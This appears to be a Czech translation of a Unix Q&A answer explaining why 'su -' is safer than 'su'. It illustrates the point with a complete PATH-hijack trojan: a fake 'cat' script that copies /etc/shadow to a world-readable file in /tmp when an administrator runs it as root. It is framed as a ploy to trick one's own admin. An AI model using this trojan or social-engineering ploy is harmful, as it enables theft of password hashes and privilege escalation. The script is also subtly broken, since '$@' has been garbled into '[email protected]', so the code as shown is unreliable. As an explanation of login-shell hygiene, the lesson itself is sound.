Nechápu, proč su -
je upřednostňován před su
pro přihlášení jako root.
Přijatá odpověď:
su -
po přepnutí uživatele vyvolá přihlašovací shell. Přihlašovací shell resetuje většinu proměnných prostředí a poskytuje čistý základ.
su
pouze přepne uživatele a poskytne normálnímu shellu prostředí téměř stejné jako u starého uživatele.
Představte si, že jste vývojář softwaru s normálním uživatelským přístupem k počítači a váš neznalý administrátor vám prostě nedá přístup root. Pojďme ho (doufejme) oklamat.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Nyní se zeptejte svého administrátora, proč nemůžete cat
fiktivního souboru ve vaší domovské složce, prostě to nebude fungovat!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Pokud váš administrátor není tak chytrý nebo jen trochu líný, může přijít k vašemu stolu a zkusit to se svými superuživatelskými schopnostmi:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Páni! Díky, super admine!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
On, on.
Možná jste si všimli, že je poškozený $PATH
proměnná nebyla resetována. To by se nestalo, kdyby správce vyvolal su -
místo toho.